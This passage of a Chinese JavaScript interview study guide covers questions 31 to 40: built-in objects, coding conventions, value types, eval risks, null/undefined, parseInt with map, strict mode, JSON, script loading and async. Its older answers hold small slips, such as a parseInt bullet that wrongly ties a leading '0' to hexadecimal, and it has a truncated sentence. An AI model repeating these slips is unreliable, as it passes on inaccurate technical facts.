    只能解决大整数。number 是双精度浮点,超过 Number.MAX_SAFE_INTEGER(2^53 - 1)就不精确,后端返回的长 ID 常因此出错,这时用 bigint 或干脆让后端传字符串。0.1 + 0.2 是小数精度问题,要靠转整数计算或者用 decimal.js 这类库。

# 31 介绍js有哪些内置对象

⚡ 30 秒速记

  • 先分清边界:内置对象是 ECMAScript 语言自带的;window、document、console 是宿主环境提供的,不算
  • 基础:Object、Function、Boolean、Number、String、Symbol、BigInt
  • 工具类:Math、JSON、Date、RegExp;错误类:Error 和 TypeError、RangeError 等子类
  • 集合:Array、Map、Set、WeakMap、WeakSet、TypedArray、ArrayBuffer
  • 异步与元编程:Promise、Proxy、Reflect;全局值:globalThis、NaN、Infinity、undefined
  • Math、JSON、Reflect 不是构造函数,不能 new,只是挂了一堆静态方法的对象

内置对象就是语言规范里自带、任何 JS 环境都能直接用的那批对象,我一般按用途分着记。 基础类型对应的有 Object、Number、String 这些;处理数据有 Array、Map、Set、JSON、Date、Math;异步有 Promise;元编程有 Proxy、Reflect;出错有 Error 一家子。这里有个容易答错的点,window、document、setTimeout 都是浏览器给的,不是语言内置的,Node 里就没有 document。跨环境拿全局对象,现在统一用 globalThis。

JavaScript中有许多内置对象,用于提供各种功能和方法,常见的内置对象包括:

  1. Object: 所有对象的基类。
  2. Array: 用于表示和操作数组的对象。
  3. Boolean: 代表布尔值 true 或 false。
  4. Number: 代表数字,用于执行数值操作和计算。
  5. String: 代表字符串,用于处理和操作文本数据。
  6. Date: 用于处理日期和时间。
  7. RegExp: 用于进行正则表达式匹配。
  8. Function: 用于定义和调用函数。
  9. Math: 提供数学计算相关的方法和常量。
  10. JSON: 用于解析和序列化 JSON 数据。
  11. Error: 用于表示和处理错误。
  12. Map: 一种键值对的集合,其中键可以是任意类型。
  13. Set: 一种集合数据结构,存储唯一的值。
  14. Promise: 用于处理异步操作和编写更优雅的异步代码。
  15. Symbol: 代表唯一的标识符。

这些内置对象提供了丰富的功能和方法,可以满足不同的编程需求。开发人员可以利用这些对象来处理数据、执行操作、处理错误等。

💬 面试官追问

  • setTimeout 算不算 JS 内置的?

    不算,规范里没有它,是浏览器和 Node 各自提供的宿主 API,所以两边返回值都不一样:浏览器返回数字,Node 返回一个 Timeout 对象。

  • Map 和普通对象都能存键值,什么时候该用 Map?

    键不是字符串的时候,比如拿对象、DOM 节点当键;还有频繁增删、要按插入顺序遍历、要直接拿 size 的时候。普通对象还会有原型上的键干扰,obj['constructor'] 就不是 undefined。

  • 同一段代码要在浏览器、Node、Web Worker 里都拿到全局对象,怎么写?

    直接用 globalThis,ES2020 起三个环境都支持。以前要写 typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : self 这种判断。

  • 为什么 new Math() 会报错?

    Math 就是一个普通对象,上面挂着 Math.max、Math.random 这些静态方法,不是构造函数。JSON、Reflect、Atomics、Intl 也是这种命名空间对象。

  • 想做一个「属性被读写时打日志」的对象,用哪个内置对象?

    Proxy 包一层,在 get / set 拦截器里打日志,再用 Reflect.get / Reflect.set 走默认行为。Vue 3 的响应式就是这么做的,Vue 2 用的是 Object.defineProperty,监听不到新增属性和数组下标。

# 32 说几条写JavaScript的基本规范

⚡ 30 秒速记

  • 变量:默认 const,要重新赋值才用 let,不用 var;变量小驼峰,类大驼峰,常量全大写
  • 比较一律 === / !==,唯一常见例外是 x == null 同时判 null 和 undefined
  • 函数:单一职责,参数超过 3 个就改成传对象;别污染全局,用模块作用域
  • 异步统一 async/await,await 要么 try/catch 要么交给上层统一处理,别吞错
  • 禁用项:eval、with、new Function,不在原生原型上加方法
  • 规范要靠工具落地:ESLint 管规则、Prettier 管格式,husky + lint-staged 在提交时自动跑

规范最重要的不是条目多,而是能被工具自动执行,靠人记是记不住的。 我平时最在意的几条:变量默认 const,比较用 ===,函数保持单一职责、参数多了就收成一个对象,异步统一用 async/await 并且不吞异常。格式这种没有对错只有统一的事,全部交给 Prettier,团队不用再在 code review 里争分号和引号。最后用 husky 加 lint-staged 在提交前检查改动的文件,CI 里再跑一遍,规范才真的落得下去。

下面是几条常见的写JavaScript的基本规范:

  1. 使用驼峰命名法(camel case)命名变量、函数和对象属性,例如:firstName, getUserData(), myObject.property
  2. 使用大写字母开头的驼峰命名法(Pascal case)命名构造函数或类,例如:Person, UserModel
  3. 使用全大写字母和下划线命名常量,例如:MAX_VALUE, API_KEY
  4. 使用单行注释(//)或块注释(/* */)对代码进行注释,解释代码的用途和实现思路
  5. 使用缩进(通常是四个空格或一个制表符)来表示代码块的层次结构,增加代码的可读性
  6. 使用严格模式("use strict";)来提高代码的安全性和效率,避免使用隐式全局变量
  7. 尽量避免使用全局变量,封装代码到函数或模块中,使用局部变量来限制作用域,减少命名冲突
  8. 在声明变量时,使用let或const来代替var,避免变量提升和作用域问题
  9. 尽量避免使用隐式类型转换,使用严格相等运算符(===和!==)进行比较,避免类型不匹配的问题
  10. 在使用条件语句(if、else)和循环语句(for、while)时,始终使用花括号来明确代码块的范围,避免歧义和错误
  11. 使用单引号或双引号来表示字符串,保持一致性,推荐使用单引号
  12. 尽量使用模板字符串来拼接字符串,避免使用字符串连接符(+)或复杂的字符串拼接操作
  13. 使用数组和对象的字面量语法([]和{})来创建数组和对象,而不是使用构造函数,例如:let arr = [1, 2, 3], let obj = {name: 'poetry', age: 25}
  14. 对于长的逻辑语句或表达式,可以使用合适的换行和缩进来增加可读性,或者使用括号将其分成多行
  15. 避免使用eval()函数和with语句,它们可能引起安全问题和性能问题

这些规范旨在提高代码的可读性、可维护性和一致性,促进团队协作和代码质量的提升。在编写JavaScript代码时,遵循这些规范可以帮助开发人员写出更优雅、健壮和易于

💬 面试官追问

  • 项目里 ESLint 和 Prettier 规则冲突,保存一下格式就来回跳,怎么处理?

    让 ESLint 只管代码质量,格式全交给 Prettier,装 eslint-config-prettier 把 ESLint 里和格式相关的规则关掉。别再用 eslint-plugin-prettier 把格式问题报成 lint 错误,又慢又吵。

  • == null 不是违反「一律用 ===」吗?

    这是公认的例外,x == null 等价于 x === null || x === undefined,写法短而且意图清楚,ESLint 的 eqeqeq 规则也专门有 null: 'ignore' 选项。除此之外的 == 我会直接拦。

  • 老项目一次性开 ESLint,报了几千个错,怎么推进?

    先把能自动修的 --fix 掉单独提一个提交,剩下的规则先设成 warn。配上 lint-staged 只检查本次改动的文件,新代码必须干净,老代码改到哪修到哪,别搞一次性大重构。

  • 函数参数从 3 个加到 5 个,有什么问题?

    调用方要记住顺序,createUser('a', 18, true, null, 'x') 根本看不出每个参数是什么,中间加一个还得改所有调用点。改成 createUser({ name, age, isAdmin }),可读、能给默认值、加字段不破坏老调用。

  • 为什么不建议在 Array.prototype 上加方法?

    所有数组都会受影响,for...in 遍历数组会多出这个键,和第三方库的同名扩展也会冲突。以前 MooTools 加过 Array.prototype.contains,导致标准方法只能改名叫 includes。

# 33 JavaScript有几种类型的值

⚡ 30 秒速记

  • 两大类:原始值 7 种 + 对象;和第 30 题同一个考点,这题更侧重怎么判断类型
  • 原始值:undefined、null、boolean、number、string、symbol、bigint;其余全是 object
  • typeof:原始值基本够用,但 null 返回 'object',函数返回 'function',数组和对象都是 'object'
  • instanceof:沿原型链找,跨 iframe 会失效,原始值直接 false
  • 最准的通用写法:Object.prototype.toString.call(v),返回 '[object Array]' 这种;日常优先用 Array.isArray、Number.isNaN 这些专用方法

JS 的值就两类:7 种原始值,加上对象。 原始值是 undefined、null、boolean、number、string、symbol、bigint,不可变,按值复制;数组、函数、日期这些全都是对象,按引用访问。这题面试官多半会接着问怎么判断类型:typeof 判原始值最快,但它把 null 和数组都说成 'object';数组用 Array.isArray;要一个通用的工具函数,就用 Object.prototype.toString.call,能精确到 Date、RegExp、Map。

JavaScript有以下几种类型的值:

  1. 原始数据类型:
  • Undefined:表示未定义的值。
  • Null:表示空值。
  • Boolean:表示布尔值,只有两个取值:true和false。
  • Number:表示数字,包括整数和浮点数。
  • String:表示字符串,用于表示文本数据。
  • Symbol(ES6新增):表示唯一的、不可变的值。
  1. 引用数据类型:
  • Object:表示对象,是一种复合值,可以包含多个键值对。
  • Array:表示数组,是一种有序的、可变的集合。
  • Function:表示函数,可以执行特定的任务。
  • Date:表示日期和时间。
  • RegExp:表示正则表达式,用于匹配和处理字符串。
  • Error:表示错误对象,用于捕获和处理异常情况。

原始数据类型存储在栈中,通过值的复制来进行赋值和传递。而引用数据类型存储在堆中,通过引用的方式进行赋值和传递,实际上传递的是指向堆中对象的引用地址。

注意:ES6新增的Symbol类型是一种唯一的、不可变的数据类型,用于创建唯一的标识符,主要用于对象属性的键值。

💬 面试官追问

  • typeof 能区分出哪几种结果?

    8 种:'undefined'、'boolean'、'number'、'string'、'symbol'、'bigint'、'object'、'function'。注意 null 会给 'object',函数虽然也是对象但单独给 'function'。

  • 页面里嵌了 iframe,从里面传出来的数组 arr instanceof Array 是 false,为什么?

    每个 iframe 有自己一套全局对象,里面的 Array 和外面的 Array 不是同一个构造函数,原型链上自然找不到。用 Array.isArray(arr),它不看原型链,跨窗口也准。

  • 写一个通用的 getType 函数怎么写?

    const getType = v => Object.prototype.toString.call(v).slice(8, -1).toLowerCase(),getType([]) 得 'array',getType(null) 得 'null'。注意对象如果自定义了 Symbol.toStringTag,结果会被改掉。

  • NaN 的类型是什么,怎么判断一个值是 NaN?

    typeof NaN 是 'number',而且 NaN === NaN 是 false。用 Number.isNaN(v),别用全局的 isNaN,后者会先转数字,isNaN('abc') 也是 true。

  • typeof 一个没声明的变量会报错吗?

    不会,返回 'undefined',以前常用它做环境检测。但如果这个变量是后面用 let / const 声明的,在声明之前 typeof 它会因为暂时性死区抛 ReferenceError。

# 34 eval是做什么的

⚡ 30 秒速记

  • 把字符串当 JS 代码执行,返回最后一个表达式的值:eval('1 + 2') 得 3
  • 三个问题:安全(拼进用户输入就是代码注入)、性能(引擎没法提前优化所在的整个函数)、调试难(报错位置和堆栈都乱)
  • 直接调用 eval(...) 能读写当前作用域的变量;间接调用 (0, eval)(...) 只在全局作用域执行
  • 严格模式下 eval 里声明的变量不会泄漏到外面
  • 开了 CSP 且没写 'unsafe-eval',eval、new Function、字符串版 setTimeout 都会被浏览器拦掉
  • 替代:解析数据用 JSON.parse,动态属性用 obj[key],表达式计算用专门的解析库

eval 会把一段字符串当成 JS 代码现场执行,能用,但实际项目里基本禁用。 最大的问题是安全,只要字符串里混进了用户能控制的内容,人家就能在你的页面里跑任意代码。其次是性能,引擎看到函数里有 eval,不知道它会读写哪些变量,整个函数的优化都会放弃。而且现在很多站点开了 CSP,eval 直接会被拦截。所以要解析数据就用 JSON.parse,要动态取属性用方括号,真要算表达式就找成熟的表达式解析库。

eval() 是 JavaScript 的一个全局函数,用于将传入的字符串作为 JavaScript 代码进行解析和执行。

其主要功能有以下几个方面:

  1. 动态执行代码:eval() 可以将字符串作为 JavaScript 代码进行执行,将字符串解析为可执行的 JavaScript 代码。这样可以动态生成和执行代码,灵活性较高。
  2. 计算字符串表达式:eval() 可以计算传入的字符串表达式并返回结果。
  3. 解析 JSON:在某些情况下,可以使用 eval() 将 JSON 字符串解析为 JavaScript 对象。但是需要注意,使用 eval() 解析 JSON 字符串存在安全风险,因为它会执行传入的任意代码,可能导致恶意代码的注入。

需要注意的是,由于 eval() 执行的字符串会被解析和执行,因此在使用 eval() 时要格外小心,避免执行不可信的代码,以防止安全漏洞和性能问题。在大多数情况下,可以通过其他方式实现相同的功能,而不必使用 eval()。

💬 面试官追问

  • 后台配置里要支持运营写 price * 0.8 这种公式,能用 eval 算吗?

    不行,运营能写公式就能写 fetch 把用户 cookie 发出去。用 expr-eval、mathjs 这类只认数学表达式的解析库,或者自己写个简单的解析器,只开放白名单里的变量和运算符。

  • new Function('a', 'b', 'return a + b') 比 eval 安全吗?

    一样危险,照样执行任意代码,同样受 CSP 限制。区别只是它总在全局作用域里执行,读不到当前函数的局部变量,所以对引擎优化的影响小一点。

  • 线上控制台报 Refused to evaluate a string as JavaScript because 'unsafe-eval',一般是什么引起的?

    页面开了 CSP,有代码在用 eval、new Function 或者 setTimeout('...')。常见源头是某些模板引擎、老版本的库,或者开发模式的 source map 配置用了 eval 系列的 devtool,生产环境要换成不依赖 eval 的选项。

  • eval 在严格模式下有什么不同?

    非严格模式下 eval('var x = 1') 会把 x 声明到外层作用域;严格模式下 eval 有自己的作用域,x 出不来。另外严格模式下不能给 eval 重新赋值,也不能拿它当变量名。

  • 以前 JSON 解析为什么会用 eval,现在呢?

    早期浏览器没有原生 JSON,大家写 eval('(' + str + ')'),返回的内容只要被篡改就能执行代码。ES5 之后所有环境都有 JSON.parse,它只认数据格式,遇到函数调用直接抛语法错误。

# 35 null,undefined 的区别

⚡ 30 秒速记

  • undefined:本该有值但还没有,语言自动给的,比如变量没赋值、属性不存在、函数没 return、参数没传
  • null:开发者主动写的「这里是空」,比如清空引用、接口表示查无此项
  • typeof undefined 是 'undefined',typeof null 是 'object'(历史遗留问题)
  • null == undefined 为 true,=== 为 false;转数字时 Number(null) 是 0,Number(undefined) 是 NaN
  • 行为差异:函数默认参数只在 undefined 时生效;JSON.stringify 会丢掉值为 undefined 的属性,保留 null
  • 统一处理用 ?? 和 ?.,只对这两个值生效,不会误伤 0 和空字符串

undefined 是「还没给值」,语言自己产生的;null 是「我明确告诉你这里是空」,开发者主动给的。 比如声明了变量没赋值、访问对象上没有的属性,拿到的都是 undefined;接口说用户没有头像,就应该返回 avatar: null。两者在代码里的表现也不一样:默认参数只对 undefined 生效,传 null 进去默认值不会用;JSON.stringify 会把 undefined 属性直接删掉。我自己的习惯是不手动赋 undefined,要表示空就用 null,判断两者都算空时用 ?? 或者 == null。

null 和 undefined 是 JavaScript 中表示空值或缺失值的两个特殊值。

区别如下:

  1. undefined 表示变量声明了但没有被赋值,或者访问对象属性不存在时的默认返回值。
  • 当变量被声明但未被赋值时,默认值为 undefined。
  • 当访问对象的不存在属性时,返回值为 undefined。
  1. null 表示变量被赋予了一个空值,表示有一个对象,但该对象为空。
  • 当想要明确表示一个变量为空对象时,可以将其赋值为 null。
  • null 是一个特殊的对象值,表示对象为空,即不指向任何内存地址。

总结:

  • undefined 表示缺少值或未定义的值,常见于变量声明但未赋值的情况。
  • null 表示空对象,常见于显式地将对象赋值为空。

在使用条件判断时,要注意区分它们的差异。对于严格相等比较,推荐使用 === 来避免类型转换,以准确判断两者是否相等。

💬 面试官追问

  • function f(a = 1) {},调 f(null) 时 a 是多少?

    是 null。默认参数只在实参严格等于 undefined 时才生效,所以后端字段返回 null 时,解构默认值 const { size = 10 } = res 也不会兜底,要写成 res.size ?? 10。

  • 表单提交时把某个字段设成 undefined,后端说没收到这个字段,为什么?

    JSON.stringify({ name: undefined }) 结果是 '{}',这个键直接被丢了。如果后端要靠「传了空值」来清空字段,就要传 null,它会被保留成 "name":null。

  • count || 10 和 count ?? 10 有什么区别?

    || 遇到任何假值都用默认值,count 是 0 的时候也会变成 10,分页、数量这种字段经常因此出问题。?? 只在 null 和 undefined 时才取默认值,0 和空字符串都会保留。

  • 为什么 typeof null 会是 'object'?

    第一版 JS 用值的低位标签区分类型,对象的标签是 0,而 null 是全零的空指针,就被当成了对象。这是公认的设计失误,修了会破坏大量老网站,所以一直保留。

  • 为什么不建议写 let x = undefined?

    undefined 本来就是语言用来表示「没初始化」的信号,手动赋值就分不清是忘了还是故意的。表达「有意置空」用 null,语义更清楚,排查问题时也更好区分。

# 36 ["1", "2", "3"].map(parseInt) 答案是多少

⚡ 30 秒速记

  • 答案:[1, NaN, NaN]
  • map 给回调传 (item, index, array),parseInt 的签名是 (string, radix),index 被当成了进制
  • parseInt('1', 0):radix 为 0 按没传处理,十进制 → 1
  • parseInt('2', 1):radix 合法范围是 2~36,1 不合法 → NaN;parseInt('3', 2):二进制里没有 3 → NaN
  • 修法:.map(Number) 或 .map(s => parseInt(s, 10));本质是「别把多参数函数直接当回调传」

答案是 [1, NaN, NaN],原因是 map 会把索引当第二个参数传给 parseInt,而 parseInt 把第二个参数当进制。 展开来就是 parseInt('1', 0)、parseInt('2', 1)、parseInt('3', 2):进制传 0 等于没传,按十进制得到 1;进制 1 不在 2 到 36 的合法范围,返回 NaN;二进制只有 0 和 1,解析不了 '3',也是 NaN。这题真正想考的是一个通用陷阱,把一个接收多个参数的函数直接丢给 map,多出来的参数会被悄悄用掉,所以我写回调一般显式包一层箭头函数。

parseInt(str, radix)

  • 解析一个字符串,并返回10进制整数
  • 第一个参数str,即要解析的字符串
  • 第二个参数radix,基数(进制),范围2-36 ,以radix进制的规则去解析str字符串。不合法导致解析失败
  • 如果没有传radix
    • 当str以0开头,则按照16进制处理
    • 当str以0开头,则按照8进制处理(但是ES5取消了,可能还有一些老的浏览器使用)会按照10进制处理
    • 其他情况按照10进制处理
  • eslint会建议parseInt写第二个参数(是因为0开始的那个8进制写法不确定(如078),会按照10进制处理)
// 拆解
const arr = ["1", "2", "3"]
const res = arr.map((item,index,array)=>{
  // item: '1', index: 0
  // item: '2', index: 1
  // item: '3', index: 2
  return parseInt(item, index)
  // parseInt('1', 0) // 0相当没有传,按照10进制处理返回1 等价于parseInt('1')
  // parseInt('2', 1) // NaN 1不符合redix 2-36 的一个范围
  // parseInt('3', 2) // 2进制没有3 返回NaN
})

// 答案 [1, NaN, NaN]

💬 面试官追问

  • 改成 ['1', '2', '3'].map(Number) 结果是什么,为什么没问题?

    [1, 2, 3]。Number 只用第一个参数,多传的索引被忽略了。不过它和 parseInt 规则不同:Number('12px') 是 NaN,parseInt('12px') 是 12,要看你的数据长什么样。

  • ['10', '10', '10'].map(parseInt) 呢?

    [10, NaN, 2]。第一个按十进制是 10,第二个进制 1 非法,第三个按二进制解析 '10' 就是 2。

  • parseInt('0x1A') 和 parseInt('08') 分别是多少?

    26 和 8。不传 radix 时,0x 开头按十六进制处理;0 开头在 ES5 之前部分浏览器会按八进制,现在统一按十进制。所以 ESLint 的 radix 规则要求显式写第二个参数。

  • 还有哪些常见 API 直接传给 map 也会出问题?

    ['a', 'b'].map(document.getElementById) 会丢 this 报错,arr.map(Math.round) 倒是没事因为只收一个参数。最危险的是自己写的带可选参数的函数,比如 format(value, precision),被 map 传进 index 当精度,结果每一项都不一样。

  • parseInt(0.0000005) 为什么是 5?

    parseInt 会先把参数转成字符串,0.0000005 转字符串是 '5e-7',从头解析到 e 停下,得到 5。所以取整不要用 parseInt,用 Math.trunc 或 Math.floor。

# 37 javascript 代码中的"use strict";是什么意思

⚡ 30 秒速记

  • 开启严格模式:把很多「静默失败」变成直接报错,比如给没声明的变量赋值会抛 ReferenceError
  • 写在脚本最顶部对整个脚本生效,写在函数体第一行只对这个函数生效,前面有别的语句就失效
  • ES Module(type="module"、import/export 文件)和 class 内部自动是严格模式,不用写
  • 典型变化:独立调用函数时 this 是 undefined、禁止 with、参数不能重名、给只读属性赋值会报错
  • 坑:用了默认参数、解构、剩余参数的函数里不能再写 'use strict',会报语法错误;多个文件合并时,一个文件的严格声明可能「传染」或「失效」

"use strict" 是告诉引擎用严格模式跑这段代码,很多原来默默出错的地方会直接抛异常。 最常见的例子是手抖把 userName 拼成 usrName 赋值,非严格模式下会悄悄造一个全局变量,严格模式直接报 ReferenceError。它写在脚本开头管整个脚本,写在函数开头只管那个函数。现在用 ES Module 或者 class 写代码,默认就是严格模式,所以日常其实很少需要手写这一行,更多是在维护老的非模块脚本时会碰到。

"use strict"是一种特定的指令(directive),用于告诉 JavaScript 解析器在解析代码时采用严格模式。它可以出现在 JavaScript 代码的顶部(全局严格模式)或函数体的顶部(函数级严格模式)。

使用严格模式的好处包括:

  1. 消除了一些 JavaScript 的不安全操作,使代码更加安全。
  2. 阻止使用一些不推荐或已废弃的语法和特性。
  3. 强制执行更严格的语法和错误检查,减少潜在的错误。
  4. 提高性能,某些优化措施只在严格模式下生效。

严格模式对一些错误和不合理的行为进行了修正,例如:

  • 未声明的变量不能被使用。
  • 不能对只读属性进行赋值。
  • 函数的参数不能有重复的名称。
  • 不能删除变量或函数。
  • 不能使用八进制字面量(例如 0123)。
  • 不能使用 with 语句。

要注意的是,启用严格模式可能会导致一些代码在非严格模式下不起作用,因为严格模式对语法和行为有更高的要求。因此,在使用严格模式之前,需要仔细测试和检查代码,确保代码在严格模式下正常运行。

示例:

"use strict";

function myFunction() {
  // 函数级严格模式
  // ...
}

// 全局严格模式

上述代码中的"use strict"指令告诉 JavaScript 解析器在解析函数或全局代码时应该采用严格模式。

💬 面试官追问

  • 下面这个函数为什么报错:function f(a = 1) { 'use strict' }?

    规范规定参数列表用了默认值、解构或剩余参数的函数,函数体里不能再声明 'use strict',因为参数要在进入函数体前就按某种模式解析。要严格模式就把声明挪到外层脚本或者整个用 ES Module。

  • 一个老项目把十几个 JS 文件直接拼接成一个包,加了 'use strict' 后别的文件出错了,为什么?

    第一个文件顶部的 'use strict' 对拼起来的整个脚本都生效,那些依赖宽松行为的老代码就挂了。反过来如果严格声明的文件不在第一个,它就失效了。所以以前打包会给每个文件包一层立即执行函数,把声明写在函数里面。

  • Vite 项目里需要每个文件都写 'use strict' 吗?

    不用,ES Module 天然就是严格模式。打包产物也一样,Rollup、Webpack 输出 ESM 格式时不会依赖这行声明。

  • 严格模式下 this 有什么变化,会影响哪些代码?

    普通函数直接调用时 this 是 undefined,不再自动指向 window。老代码里 function Foo() { this.x = 1 } 忘了写 new,以前会悄悄污染全局,严格模式下会直接报错,反而是好事。

  • 严格模式真的能让代码跑得更快吗?

    有一点但别指望太多。主要好处是去掉了 with、arguments 和形参联动这种让引擎没法确定变量的写法,优化起来更容易;真正的价值是把错误提前暴露。

# 38 JSON 的了解

⚡ 30 秒速记

  • 轻量的数据交换格式,长得像 JS 对象字面量但更严:键必须双引号、不能有尾逗号、不能写注释、不支持单引号
  • 只支持 6 种值:对象、数组、字符串、数字、布尔、null
  • JSON.stringify 的坑:值为 undefined / 函数 / symbol 的属性会被丢掉,在数组里变 null;NaN / Infinity 变 null;Date 变字符串;BigInt 和循环引用直接抛错
  • 好用的参数:stringify(obj, replacer, 2) 过滤字段并缩进;parse(str, reviver) 可以把日期字符串还原;对象上定义 toJSON 可以自定义输出
  • 深拷贝别再用 JSON.parse(JSON.stringify(x)),用 structuredClone(x),支持 Date、Map、Set 和循环引用

JSON 是一种跨语言的文本数据格式,前后端接口基本都靠它传数据。 它看着像 JS 对象,但规则更严格,键必须是双引号,不能有注释和尾逗号,值只能是对象、数组、字符串、数字、布尔和 null。在 JS 里用 JSON.stringify 转成字符串、JSON.parse 转回来。实际最容易踩的是 stringify 的丢值问题,undefined 和函数会消失,Date 变成字符串,BigInt 和循环引用直接报错。所以拿它做深拷贝经常出问题,现在我会用 structuredClone。

JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,以文本形式表示结构化的数据。它采用类似于 JavaScript 对象的键值对的方式来描述数据,易于阅读和编写,同时也便于机器解析和生成。

JSON具有以下特点:

  1. 数据格式简单明确:JSON使用键值对(key-value pairs)的形式表示数据,使用大括号 {} 定义对象,使用方括号 [] 定义数组,键和值之间使用冒号 : 分隔。
  2. 支持多种数据类型:JSON支持包括字符串、数字、布尔值、对象、数组和null在内的基本数据类型。
  3. 跨平台和语言:JSON是一种通用的数据交换格式,不依赖于特定的编程语言或平台,可以被各种编程语言解析和生成。

在 JavaScript 中,可以使用内置的JSON对象进行 JSON 字符串与 JavaScript 对象之间的转换。常用的方法有:

  • JSON.parse():将 JSON 字符串解析为 JavaScript 对象。
  • JSON.stringify():将 JavaScript 对象转换为 JSON 字符串。

示例:

// JSON字符串转换为JSON对象
var jsonString = '{"name": "poetry", "age": 28, "city": "shenzhen"}';
var jsonObj = JSON.parse(jsonString);

// JSON对象转换为JSON字符串
var obj = {name: "poetry", age: 28, city: "shenzhen"};
var jsonString = JSON.stringify(obj);

通过使用 JSON,我们可以方便地在不同的系统和平台之间传递和处理数据。它在 Web 开发中被广泛应用于前后端数据交互、API 接口设计等场景。

💬 面试官追问

  • JSON.parse(JSON.stringify(obj)) 深拷贝之后,日期字段的 getTime 报错了,为什么?

    Date 被 stringify 成了 ISO 字符串,parse 回来还是字符串,不会自动变回 Date。换成 structuredClone(obj),它能保留 Date、Map、Set,还支持循环引用。

  • structuredClone 是不是万能的深拷贝?

    不是。函数和 DOM 节点拷贝会抛 DataCloneError,类实例拷完会丢掉原型,变成普通对象,getter 也只拷当时的值。对象里有方法或者类实例,还是要自己写拷贝或者用 lodash 的 cloneDeep。

  • 后端返回的订单号 id 是 19 位数字,前端拿到后末几位变了,怎么办?

    JSON.parse 会把数字转成双精度浮点,超过 2^53 - 1 就丢精度。最稳的是让后端把这类 id 当字符串返回;改不了后端,就用 json-bigint 这类库解析,或者在 parse 之前用正则把长数字包成字符串。

  • 打日志时想把用户对象里的 password 字段去掉,用 JSON 怎么做?

    用 replacer:JSON.stringify(user, (k, v) => k === 'password' ? undefined : v),返回 undefined 的字段会被丢掉。或者给类加一个 toJSON 方法,统一决定序列化时输出哪些字段。

  • JSON.stringify 遇到循环引用报错,日志里又想打出来,怎么办?

    replacer 里用一个 WeakSet 记录访问过的对象,再次遇到就返回 '[Circular]'。Node 里直接用 util.inspect 更省事,它自带循环引用处理。

# 39 js延迟加载的方式有哪些

⚡ 30 秒速记

  • 目的:别让脚本阻塞 HTML 解析和首屏渲染
  • defer:并行下载,HTML 解析完后按书写顺序执行,在 DOMContentLoaded 之前,业务脚本首选
  • async:并行下载,下载完立刻执行,顺序不定,适合统计、广告这类独立脚本
  • 动态加载:document.createElement('script') 插入(默认是 async 行为),或者 import() 让打包工具自动拆包
  • 老办法:script 放 body 底部,依然有效但下载要等解析到那里才开始
  • type="module" 默认就是 defer 行为;用 XHR 拉代码再塞进 script 的写法已经过时了

延迟加载 JS 最常用的就是 defer、async 和动态加载三类,选哪个看脚本之间有没有依赖、什么时候才需要。 有依赖关系、要操作 DOM 的业务脚本用 defer,它边解析边下载,解析完按顺序执行。完全独立的第三方脚本用 async,谁先下完谁先跑。首屏用不到的功能,比如富文本编辑器、图表,我会用 import() 在用户点了之后再加载,打包工具会自动拆出单独的文件。以前那种 XHR 拉代码再塞进页面的写法,现在没理由再用了。

延迟加载(Deferred Loading)是一种优化网页性能的技术,可以延迟加载页面中的资源(如脚本、样式表、图片等),从而加快页面的初始加载速度。

以下是几种常见的 JavaScript 延迟加载的方式:

  1. defer 属性:将脚本标签的 defer 属性设置为 "defer",使得脚本在页面完成解析时执行。例如:<script src="script.js" defer></script>
  2. 动态创建 script DOM:通过 JavaScript 动态创建 <script> 元素,并将其插入到页面中。这样可以控制脚本的加载时机,例如在页面加载完毕后再加载脚本
var script = document.createElement('script');
script.src = 'script.js';
document.body.appendChild(script);
  1. XmlHttpRequest 脚本注入:使用 XMLHttpRequest 对象加载 JavaScript 脚本,并将其注入到页面中。这种方式可以在页面加载过程中异步加载脚本。示例代码如下:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'script.js', true);
xhr.onload = function() {
  if (xhr.status === 200) {
    var script = document.createElement('script');
    script.textContent = xhr.responseText;
    document.body.appendChild(script);
  }
};
xhr.send();
  1. 延迟加载工具:使用第三方的延迟加载工具库,如 LazyLoad,可以更方便地管理和控制页面中的延迟加载资源。这些工具通常提供了更多的功能和配置选项,例如按需加载、懒加载、预加载等。

这些延迟加载的方式可以根据具体的需求和场景选择合适的方式来优化页面加载性能,提升用户体验。

💬 面试官追问

  • 动态创建的 script 插入页面后,多个脚本执行顺序乱了,怎么保证顺序?

    动态插入的脚本默认是 async 行为。设 script.async = false,它们会按插入顺序执行,同时下载还是并行的;或者在前一个的 onload 里再插下一个,但这样下载也变成串行了。

  • 详情页里有个评论区编辑器,打包后有 300KB,怎么让它不影响首屏?

    用 import() 按需加载,比如 React 里 const Editor = lazy(() => import('./Editor')),用户滚动到评论区或者点了「写评论」才去拉。可以在鼠标悬停时提前 import() 一下做预加载,用户点下去基本就是秒开。

  • defer 的脚本和 body 底部的脚本,哪个更快?

    一般 defer 更快。放在 head 里加 defer,浏览器一开始解析就能发现并下载,body 底部的脚本要等解析到最后才开始下。执行时机两者差不多,都在 HTML 解析完之后。

  • 只有动态 import(),会不会导致用户点击后要等很久?

    会,第一次点击要等网络请求。可以配合 <link rel="modulepreload"> 或者 webpackPrefetch 注释,在空闲时提前下载,等真正需要时直接从缓存执行。

  • 引入一个第三方客服脚本,它要求必须在某个配置脚本之后执行,用 async 行吗?

    不行,async 不保证顺序,客服脚本可能先跑完读不到配置。两个都用 defer,或者配置直接写成内联脚本放在前面,客服脚本再用 async。

# 40 同步和异步的区别

⚡ 30 秒速记

  • 同步:一件事做完才做下一件,耗时任务会把后面全堵住
  • 异步:先发起任务就往下走,结果好了再通过回调、Promise、事件通知你
  • JS 单线程,靠事件循环实现异步:网络、定时器交给宿主环境,完成后回调进任务队列,调用栈空了再取出来执行
  • 顺序口诀:同步代码 → 清空微任务(Promise.then、queueMicrotask)→ 一个宏任务(setTimeout、事件、I/O)→ 再清微任务
  • 写法演进:回调 → Promise → async/await;await 只是让异步代码看起来同步,后面的代码会被放进微任务

同步就是排队,一件做完才做下一件;异步是先把任务交出去,自己接着干别的,结果回来了再处理。 就像点外卖,同步是站在店门口等做好,异步是下完单回去干活,送到了打电话通知你。JS 只有一个主线程,所以网络请求、定时器必须是异步的,不然一个 3 秒的请求就能让页面卡 3 秒点不动。具体调度靠事件循环:同步代码先跑完,再清空微任务队列,然后取一个宏任务,如此循环。async/await 写起来像同步,本质还是 Promise。

时序图 · 4 个参与者 / 10 步
